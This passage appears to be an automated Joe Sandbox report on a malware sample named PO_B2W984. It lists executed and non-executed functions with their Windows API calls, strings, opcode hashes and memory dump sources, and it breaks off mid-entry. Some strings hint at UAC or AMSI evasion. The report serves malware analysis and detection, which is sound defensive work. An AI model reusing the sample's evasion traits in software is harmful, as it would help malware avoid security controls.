Function 02DE6CEC Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(00000000,?,00000000,02DE6D39,?,?,?,00000000), ref: 02DE6D19

Part of subcall function 02DD4C0C: SysFreeString.OLEAUT32(02DEE948), ref: 02DD4C1A

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: FreeFromProgString
String ID:
API String ID: 4225568880-0
Opcode ID: 5d102e98c5d0c24ef33502b445b9848cf327b15ec6e8ae26395472f56d5957c2
Instruction ID: 4621fbeb45446de818686b44729f44dcbb8aab023662db5b6d5b8f2d8267b03c
Opcode Fuzzy Hash: 5d102e98c5d0c24ef33502b445b9848cf327b15ec6e8ae26395472f56d5957c2
Instruction Fuzzy Hash: 94E06535604708BFE711FBA5DC5195E77ADDB49B10F910471E801D7700D6759D048CB0

Function 02DD5814 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(02DD0000,?,00000105), ref: 02DD5832

Part of subcall function 02DD5A78: GetModuleFileNameA.KERNEL32(00000000,?,00000105,02DD0000,02DFD790), ref: 02DD5A94
Part of subcall function 02DD5A78: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02DD0000,02DFD790), ref: 02DD5AB2
Part of subcall function 02DD5A78: RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02DD0000,02DFD790), ref: 02DD5AD0
Part of subcall function 02DD5A78: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 02DD5AEE
Part of subcall function 02DD5A78: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,02DD5B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 02DD5B37
Part of subcall function 02DD5A78: RegQueryValueExA.ADVAPI32(?,02DD5CE4,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,02DD5B7D,?,80000001), ref: 02DD5B55
Part of subcall function 02DD5A78: RegCloseKey.ADVAPI32(?,02DD5B84,00000000,?,?,00000000,02DD5B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 02DD5B77

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: Open$FileModuleNameQueryValue$Close
String ID:
API String ID: 2796650324-0
Opcode ID: b28d12baadab1e4308946262d595483018c342fe3ea7939c094ad429c1d6dced
Instruction ID: 0264bb682c22fa32e9b08e7b9f87a47b14b79c78c03fd4e14ccf0bd99a39f317
Opcode Fuzzy Hash: b28d12baadab1e4308946262d595483018c342fe3ea7939c094ad429c1d6dced
Instruction Fuzzy Hash: DBE06571A006248BCB10DE68D8C0A8637D9AB08754F8409A5EC58DF34AD3B0ED208BE0

Function 02DD7D94 Relevance: 1.5, APIs: 1, Instructions: 23fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000), ref: 02DD7DA8

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 736f4f92db52b42fc2a1391f4de21fa5b41205fd5f72813ecabc44a8b4ec614d
Instruction ID: 3ac922f07d5741418682f5b0325deff6ab537525ace33e74d7287ebd256ceaeb
Opcode Fuzzy Hash: 736f4f92db52b42fc2a1391f4de21fa5b41205fd5f72813ecabc44a8b4ec614d
Instruction Fuzzy Hash: 01D012762085506AE220955A6C44EAB5ADCCBC9770F100679B658C2280D6208C0586B1

Function 02DD7E10 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,02DEF8C4,ScanString,02E3137C,02DFAFD0,OpenSession,02E3137C,02DFAFD0,ScanString,02E3137C,02DFAFD0,UacScan,02E3137C,02DFAFD0,UacInitialize), ref: 02DD7E1B

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 23fb81311ad07fae81732db0edde70c56cded36c5311baf0953a0f48c8330ef0
Instruction ID: 3b4232bfe19669211510a0ffe62e65c03c0a08fa268b88d444d0fa76cf4abfe2
Opcode Fuzzy Hash: 23fb81311ad07fae81732db0edde70c56cded36c5311baf0953a0f48c8330ef0
Instruction Fuzzy Hash: 8CC08CE0202A030A2A50A1FC1CC482A428C89042387A42FA1E238DA3E2D321CC676830

Function 02DD7E34 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,02DF2A41,ScanString,02E3137C,02DFAFD0,OpenSession,02E3137C,02DFAFD0,ScanBuffer,02E3137C,02DFAFD0,OpenSession,02E3137C,02DFAFD0,Initialize), ref: 02DD7E3F

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: fe3f8c7547375d3b190e2bd7b8d67a4577ec7d15bc45dec9ccb4955a6e8d04a7
Instruction ID: cc5fa8bdee2d4ecec393d1f424fc7c8e78642ce55a9a4210a4061dad55ceab7a
Opcode Fuzzy Hash: fe3f8c7547375d3b190e2bd7b8d67a4577ec7d15bc45dec9ccb4955a6e8d04a7
Instruction Fuzzy Hash: E6C08CA0302A050E2E50A2FC1CC450A428C8904238BA02FA1E13CC63D2D321DC972820

Function 02DD4C24 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32 ref: 02DD4C37

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: ec55763b5f82d1328600eb73f4eb151786d68f8a69a22224f81dbc62eca26ecd
Instruction ID: 971d4bcb40f98681362e4a9d6efd0705b0ff6d52e5e7a78dde7127ca0d1a67ff
Opcode Fuzzy Hash: ec55763b5f82d1328600eb73f4eb151786d68f8a69a22224f81dbc62eca26ecd
Instruction Fuzzy Hash: F5C012A2600A2457EB215A9C9CC0B5572CCDB05295F1804A1D408D7340E371DC008A74

Function 02DFBB48 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

timeSetEvent.WINMM(00002710,00000000,02DFBB3C,00000000,00000001), ref: 02DFBB58

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: Eventtime
String ID:
API String ID: 2982266575-0
Opcode ID: af41d9c9adc96d4eb2c37b0777c1772169e02efa246ddf24940318e156a91774
Instruction ID: b9c02c09f8f8e9e591d7b9eccfc7c67c003e43f70ec13ceb7c203fb5bb3a94bc
Opcode Fuzzy Hash: af41d9c9adc96d4eb2c37b0777c1772169e02efa246ddf24940318e156a91774
Instruction Fuzzy Hash: 46C092F07923403EFA20A6EC5CC2F63658DD308B10F610812BB00EE3C2D1E24C948A74

Function 02DD4BE4 Relevance: 1.5, APIs: 1, Instructions: 10memoryCOMMON

Download Yara Rule

APIs

SysAllocStringLen.OLEAUT32(00000000,?), ref: 02DD4BEB

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: 45a3375204cc73dd1af73f008c830e5c9ef88422045493d1b6915fbd8ee49b80
Instruction ID: ab7acb529fd135444c494c1007f3cb00cb0dc603ff191908533823041b54831d
Opcode Fuzzy Hash: 45a3375204cc73dd1af73f008c830e5c9ef88422045493d1b6915fbd8ee49b80
Instruction Fuzzy Hash: 46B0123C288E0218FB1011A10D01B32008C8F7038BF8600919EA9C83C0FF22CC01CC32

Function 02DD4BFC Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(00000000), ref: 02DD4C03

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: 6fc0f88f0b4d12cbeda0546aa3c9b2a61d9b338520cfab902635a24ef7a42f2a
Instruction ID: c14b5896ef3e990528d510ccb73e47aeab023aa1b9b364b479db1df8f8f09aac
Opcode Fuzzy Hash: 6fc0f88f0b4d12cbeda0546aa3c9b2a61d9b338520cfab902635a24ef7a42f2a
Instruction Fuzzy Hash: 7BA022AC080F030A8F2B232C000022A2033FFE2300BCAC8E8C0000A2008F3BCC00EC30

Function 02DD1682 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00101000,00000004,?,?,?,?,02DD2000), ref: 02DD16A4

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 835ac4c344d1cb34f353791ff78fa829f310ecbbd10c3b10381db3e2b118257c
Instruction ID: f5255a21a5c5ce9f3ca365c796bd2c843328af9a4fc9639d6d2a28e6aa37fa9b
Opcode Fuzzy Hash: 835ac4c344d1cb34f353791ff78fa829f310ecbbd10c3b10381db3e2b118257c
Instruction Fuzzy Hash: 36F09AB2A84B996BD711AE5ADC84B82BB94FB00326F454139FA489B340D770AC50CBE4

Function 02DD16E6 Relevance: 1.3, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000), ref: 02DD1704

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: f9d10ed22081e2e74c713146da8ecd89b28e72bedc14130c51f5585bfa16bbd4
Instruction ID: ce8220ca2f6cd8b70348f5f524a32e48f98d502fb47b5d32fddfa3824e7cb021
Opcode Fuzzy Hash: f9d10ed22081e2e74c713146da8ecd89b28e72bedc14130c51f5585bfa16bbd4
Instruction Fuzzy Hash: D2E08C79300B11AFE7105A7A9D84B12ABDCEB48664F244476F649DB392D2A0EC50CB70

Non-executed Functions

Function 02DEA954 Relevance: 59.6, APIs: 17, Strings: 17, Instructions: 99libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,00000002,02DEABDB,?,?,02DEAC6D,00000000,02DEAD49), ref: 02DEA968
GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 02DEA980
GetProcAddress.KERNEL32(00000000,Heap32ListFirst), ref: 02DEA992
GetProcAddress.KERNEL32(00000000,Heap32ListNext), ref: 02DEA9A4
GetProcAddress.KERNEL32(00000000,Heap32First), ref: 02DEA9B6
GetProcAddress.KERNEL32(00000000,Heap32Next), ref: 02DEA9C8
GetProcAddress.KERNEL32(00000000,Toolhelp32ReadProcessMemory), ref: 02DEA9DA
GetProcAddress.KERNEL32(00000000,Process32First), ref: 02DEA9EC
GetProcAddress.KERNEL32(00000000,Process32Next), ref: 02DEA9FE
GetProcAddress.KERNEL32(00000000,Process32FirstW), ref: 02DEAA10
GetProcAddress.KERNEL32(00000000,Process32NextW), ref: 02DEAA22
GetProcAddress.KERNEL32(00000000,Thread32First), ref: 02DEAA34
GetProcAddress.KERNEL32(00000000,Thread32Next), ref: 02DEAA46
GetProcAddress.KERNEL32(00000000,Module32First), ref: 02DEAA58
GetProcAddress.KERNEL32(00000000,Module32Next), ref: 02DEAA6A
GetProcAddress.KERNEL32(00000000,Module32FirstW), ref: 02DEAA7C
GetProcAddress.KERNEL32(00000000,Module32NextW), ref: 02DEAA8E

Strings

Process32NextW, xrefs: 02DEAA1A
Process32First, xrefs: 02DEA9E4
Process32FirstW, xrefs: 02DEAA08
Heap32Next, xrefs: 02DEA9C0
Module32NextW, xrefs: 02DEAA86
Toolhelp32ReadProcessMemory, xrefs: 02DEA9D2
Thread32Next, xrefs: 02DEAA3E
Heap32First, xrefs: 02DEA9AE
Thread32First, xrefs: 02DEAA2C
Heap32ListFirst, xrefs: 02DEA98A
Module32FirstW, xrefs: 02DEAA74
Module32Next, xrefs: 02DEAA62
Module32First, xrefs: 02DEAA50
Process32Next, xrefs: 02DEA9F6
CreateToolhelp32Snapshot, xrefs: 02DEA978
Heap32ListNext, xrefs: 02DEA99C
kernel32.dll, xrefs: 02DEA963

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: CreateToolhelp32Snapshot$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Module32First$Module32FirstW$Module32Next$Module32NextW$Process32First$Process32FirstW$Process32Next$Process32NextW$Thread32First$Thread32Next$Toolhelp32ReadProcessMemory$kernel32.dll
API String ID: 667068680-597814768
Opcode ID: 43f3a2208166fe427f59bf193f850ab6cebf7f245ab849524b775232cafd582b
Instruction ID: 9ebd0987659128ecda835f696dc1d6794e95242656b5392172276b1dddf17c28
Opcode Fuzzy Hash: 43f3a2208166fe427f59bf193f850ab6cebf7f245ab849524b775232cafd582b
Instruction Fuzzy Hash: A031CAB5E84B65AFEF00AFA5E889B2637ADEB05601B4009A9E007CF304D674DC548FE1

Function 02DD58B4 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 139stringlibraryfileCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,02DD7330,02DD0000,02DFD790), ref: 02DD58D1
GetProcAddress.KERNEL32(?,GetLongPathNameA), ref: 02DD58E8
lstrcpynA.KERNEL32(?,?,?), ref: 02DD5918
lstrcpynA.KERNEL32(?,?,?,kernel32.dll,02DD7330,02DD0000,02DFD790), ref: 02DD597C
lstrcpynA.KERNEL32(?,?,00000001,?,?,?,kernel32.dll,02DD7330,02DD0000,02DFD790), ref: 02DD59B2
FindFirstFileA.KERNEL32(?,?,?,?,00000001,?,?,?,kernel32.dll,02DD7330,02DD0000,02DFD790), ref: 02DD59C5
FindClose.KERNEL32(?,?,?,?,?,00000001,?,?,?,kernel32.dll,02DD7330,02DD0000,02DFD790), ref: 02DD59D7
lstrlenA.KERNEL32(?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02DD7330,02DD0000,02DFD790), ref: 02DD59E3
lstrcpynA.KERNEL32(?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02DD7330,02DD0000), ref: 02DD5A17
lstrlenA.KERNEL32(?,?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02DD7330), ref: 02DD5A23
lstrcpynA.KERNEL32(?,?,?,?,?,?,00000104,?,?,?,?,?,?,00000001,?,?), ref: 02DD5A45

Strings

\, xrefs: 02DD59F5
GetLongPathNameA, xrefs: 02DD58DF
kernel32.dll, xrefs: 02DD58CC

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: lstrcpyn$Findlstrlen$AddressCloseFileFirstHandleModuleProc
String ID: GetLongPathNameA$\$kernel32.dll
API String ID: 3245196872-1565342463
Opcode ID: c48ee472776cad9edf59b1713971e1358179d5d8601248af5d7135d02e570367
Instruction ID: e9b12d0e3e1af4365e33bbe619e7af313935d296a77a6c097a72ee737c1e7a0e
Opcode Fuzzy Hash: c48ee472776cad9edf59b1713971e1358179d5d8601248af5d7135d02e570367
Instruction Fuzzy Hash: 9C414C71E00A69AFDB10DAE8DC88ADEB7ADEB08350F4445A5E549E7341D770EE44CF60

Function 02DD5B84 Relevance: 15.1, APIs: 10, Instructions: 98stringlibrarythreadCOMMON

Download Yara Rule

APIs

lstrcpynA.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 02DD5B94
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 02DD5BA1
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 02DD5BA7
lstrlenA.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 02DD5BD2
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02DD5C19
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02DD5C29
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02DD5C51
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02DD5C61
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 02DD5C87
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 02DD5C97

Strings

Software\Borland\Delphi\Locales, xrefs: 02DD5AE4
Software\Borland\Locales, xrefs: 02DD5AA8, 02DD5AC6

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: lstrcpyn$LibraryLoad$Locale$InfoThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1599918012-2375825460
Opcode ID: 872c564c5497cc255b6ddda9ad26ad67b225e16f2838cfcbc1086dd5fd5d1ed0
Instruction ID: 3fa391f046d9f42feb5c9b80d0c2226ef730d4b159cc436d984252a262cc2676
Opcode Fuzzy Hash: 872c564c5497cc255b6ddda9ad26ad67b225e16f2838cfcbc1086dd5fd5d1ed0
Instruction Fuzzy Hash: 0F319571E40A1C2AEB25D6F89C46BDF7BADCB04380F4445E19608E6285DA75DF84CF60

Function 02DD7F54 Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

GetDiskFreeSpaceA.KERNEL32(?,?,?,?,?), ref: 02DD7F75

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: DiskFreeSpace
String ID:
API String ID: 1705453755-0
Opcode ID: 0fbec54a0c02fd547ee90df4e96e63df58f4455ae2e88ae87e717fe42b60fd3b
Instruction ID: 81f7beed8466cdb2bc69cac1f562f405a4db144e56f383dacb6f960f0f9cf8d1
Opcode Fuzzy Hash: 0fbec54a0c02fd547ee90df4e96e63df58f4455ae2e88ae87e717fe42b60fd3b
Instruction Fuzzy Hash: 8811FEB5A00609AFDB04CFA9C8809AFB7F9EFC8304B14C569A504EB354E6319E018BA0

Function 02DDA744 Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

